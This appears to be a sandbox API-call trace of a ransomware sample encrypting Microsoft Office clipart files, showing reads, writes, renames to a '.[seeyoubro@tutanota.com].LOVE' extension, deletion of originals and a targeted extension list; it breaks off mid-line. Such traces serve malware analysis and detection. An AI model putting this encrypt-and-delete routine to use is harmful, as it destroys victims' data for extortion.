1 [0220.226] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0220.227] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.227] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.227] SetEndOfFile (hFile=0x388) returned 1 [0220.266] CloseHandle (hObject=0x388) returned 1 [0220.268] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.268] SetEndOfFile (hFile=0x320) returned 1 [0220.270] CloseHandle (hObject=0x320) returned 1 [0220.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0220.272] lstrlenW (lpString=".doc") returned 4 [0220.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString=".docx") returned 5 [0220.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.272] lstrlenW (lpString=".pdf") returned 4 [0220.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString=".xls") returned 4 [0220.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.272] lstrlenW (lpString=".xlsx") returned 5 [0220.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.272] lstrlenW (lpString=".ppt") returned 4 [0220.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0220.272] lstrlenW (lpString=".zip") returned 4 [0220.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.272] lstrlenW (lpString=".rar") returned 4 [0220.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString=".bz2") returned 4 [0220.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.272] lstrlenW (lpString=".7z") returned 3 [0220.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0220.272] lstrlenW (lpString=".dbf") returned 4 [0220.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0220.273] lstrlenW (lpString=".1cd") returned 4 [0220.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0220.273] lstrlenW (lpString=".jpg") returned 4 [0220.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.274] GetLastError () returned 0x0 [0220.274] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x22de, lpOverlapped=0x0) returned 1 [0220.417] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x22e0, lpOverlapped=0x0) returned 1 [0220.418] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.418] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.418] SetEndOfFile (hFile=0x374) returned 1 [0220.419] CloseHandle (hObject=0x374) returned 1 [0220.419] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.419] SetEndOfFile (hFile=0x2cc) returned 1 [0220.420] CloseHandle (hObject=0x2cc) returned 1 [0220.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0220.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0220.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0220.421] lstrlenW (lpString=".doc") returned 4 [0220.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.421] lstrlenW (lpString=".docx") returned 5 [0220.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.421] lstrlenW (lpString=".pdf") returned 4 [0220.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.421] lstrlenW (lpString=".xls") returned 4 [0220.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.421] lstrlenW (lpString=".xlsx") returned 5 [0220.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.421] lstrlenW (lpString=".ppt") returned 4 [0220.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0220.426] lstrlenW (lpString=".zip") returned 4 [0220.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.426] lstrlenW (lpString=".rar") returned 4 [0220.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.426] lstrlenW (lpString=".bz2") returned 4 [0220.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.427] lstrlenW (lpString=".7z") returned 3 [0220.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0220.427] lstrlenW (lpString=".dbf") returned 4 [0220.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0220.427] lstrlenW (lpString=".1cd") returned 4 [0220.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0220.427] lstrlenW (lpString=".jpg") returned 4 [0220.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.442] GetLastError () returned 0x0 [0220.442] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0220.463] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0220.464] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.464] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.464] SetEndOfFile (hFile=0x374) returned 1 [0220.464] CloseHandle (hObject=0x374) returned 1 [0220.464] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.464] SetEndOfFile (hFile=0x2cc) returned 1 [0220.465] CloseHandle (hObject=0x2cc) returned 1 [0220.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0220.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0220.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0220.466] lstrlenW (lpString=".doc") returned 4 [0220.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.466] lstrlenW (lpString=".docx") returned 5 [0220.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.466] lstrlenW (lpString=".pdf") returned 4 [0220.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.466] lstrlenW (lpString=".xls") returned 4 [0220.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.466] lstrlenW (lpString=".xlsx") returned 5 [0220.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.466] lstrlenW (lpString=".ppt") returned 4 [0220.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0220.466] lstrlenW (lpString=".zip") returned 4 [0220.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.466] lstrlenW (lpString=".rar") returned 4 [0220.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.466] lstrlenW (lpString=".bz2") returned 4 [0220.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.467] lstrlenW (lpString=".7z") returned 3 [0220.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0220.467] lstrlenW (lpString=".dbf") returned 4 [0220.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0220.467] lstrlenW (lpString=".1cd") returned 4 [0220.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0220.467] lstrlenW (lpString=".jpg") returned 4 [0220.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.467] GetLastError () returned 0x0 [0220.467] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x3690, lpOverlapped=0x0) returned 1 [0220.502] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x36a0, lpOverlapped=0x0) returned 1 [0220.503] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.503] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.503] SetEndOfFile (hFile=0x374) returned 1 [0220.503] CloseHandle (hObject=0x374) returned 1 [0220.503] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.504] SetEndOfFile (hFile=0x2cc) returned 1 [0220.504] CloseHandle (hObject=0x2cc) returned 1 [0220.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0220.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0220.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0220.505] lstrlenW (lpString=".doc") returned 4 [0220.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.505] lstrlenW (lpString=".docx") returned 5 [0220.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.505] lstrlenW (lpString=".pdf") returned 4 [0220.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.505] lstrlenW (lpString=".xls") returned 4 [0220.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.505] lstrlenW (lpString=".xlsx") returned 5 [0220.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.505] lstrlenW (lpString=".ppt") returned 4 [0220.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0220.505] lstrlenW (lpString=".zip") returned 4 [0220.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.505] lstrlenW (lpString=".rar") returned 4 [0220.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.505] lstrlenW (lpString=".bz2") returned 4 [0220.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.505] lstrlenW (lpString=".7z") returned 3 [0220.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0220.506] lstrlenW (lpString=".dbf") returned 4 [0220.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0220.506] lstrlenW (lpString=".1cd") returned 4 [0220.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0220.506] lstrlenW (lpString=".jpg") returned 4 [0220.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.506] GetLastError () returned 0x0 [0220.506] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x96c, lpOverlapped=0x0) returned 1 [0220.627] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x970, lpOverlapped=0x0) returned 1 [0220.628] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.628] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.629] SetEndOfFile (hFile=0x374) returned 1 [0220.629] CloseHandle (hObject=0x374) returned 1 [0220.629] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.629] SetEndOfFile (hFile=0x2cc) returned 1 [0220.630] CloseHandle (hObject=0x2cc) returned 1 [0220.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0220.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0220.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0220.630] lstrlenW (lpString=".doc") returned 4 [0220.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.630] lstrlenW (lpString=".docx") returned 5 [0220.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.630] lstrlenW (lpString=".pdf") returned 4 [0220.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.630] lstrlenW (lpString=".xls") returned 4 [0220.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.630] lstrlenW (lpString=".xlsx") returned 5 [0220.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.631] lstrlenW (lpString=".ppt") returned 4 [0220.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0220.631] lstrlenW (lpString=".zip") returned 4 [0220.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.631] lstrlenW (lpString=".rar") returned 4 [0220.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.631] lstrlenW (lpString=".bz2") returned 4 [0220.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.631] lstrlenW (lpString=".7z") returned 3 [0220.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0220.631] lstrlenW (lpString=".dbf") returned 4 [0220.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0220.631] lstrlenW (lpString=".1cd") returned 4 [0220.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0220.631] lstrlenW (lpString=".jpg") returned 4 [0220.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.637] GetLastError () returned 0x0 [0220.637] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x488, lpOverlapped=0x0) returned 1 [0220.665] WriteFile (in: hFile=0x2cc, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x490, lpOverlapped=0x0) returned 1 [0220.828] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.828] WriteFile (in: hFile=0x2cc, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.828] SetEndOfFile (hFile=0x2cc) returned 1 [0220.828] CloseHandle (hObject=0x2cc) returned 1 [0220.828] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.828] SetEndOfFile (hFile=0x330) returned 1 [0220.829] CloseHandle (hObject=0x330) returned 1 [0220.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0220.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0220.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0220.837] lstrlenW (lpString=".doc") returned 4 [0220.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.841] lstrlenW (lpString=".docx") returned 5 [0220.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.841] lstrlenW (lpString=".pdf") returned 4 [0220.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.841] lstrlenW (lpString=".xls") returned 4 [0220.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.842] lstrlenW (lpString=".xlsx") returned 5 [0220.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.842] lstrlenW (lpString=".ppt") returned 4 [0220.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0220.842] lstrlenW (lpString=".zip") returned 4 [0220.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.842] lstrlenW (lpString=".rar") returned 4 [0220.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.842] lstrlenW (lpString=".bz2") returned 4 [0220.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.842] lstrlenW (lpString=".7z") returned 3 [0220.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0220.842] lstrlenW (lpString=".dbf") returned 4 [0220.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0220.842] lstrlenW (lpString=".1cd") returned 4 [0220.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0220.842] lstrlenW (lpString=".jpg") returned 4 [0220.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.843] GetLastError () returned 0x0 [0220.843] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x329e, lpOverlapped=0x0) returned 1 [0220.867] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x32a0, lpOverlapped=0x0) returned 1 [0220.868] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.868] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.868] SetEndOfFile (hFile=0x330) returned 1 [0220.868] CloseHandle (hObject=0x330) returned 1 [0220.869] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.869] SetEndOfFile (hFile=0x354) returned 1 [0220.870] CloseHandle (hObject=0x354) returned 1 [0220.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0220.870] lstrlenW (lpString="C:\\Program Files\\Microsoft 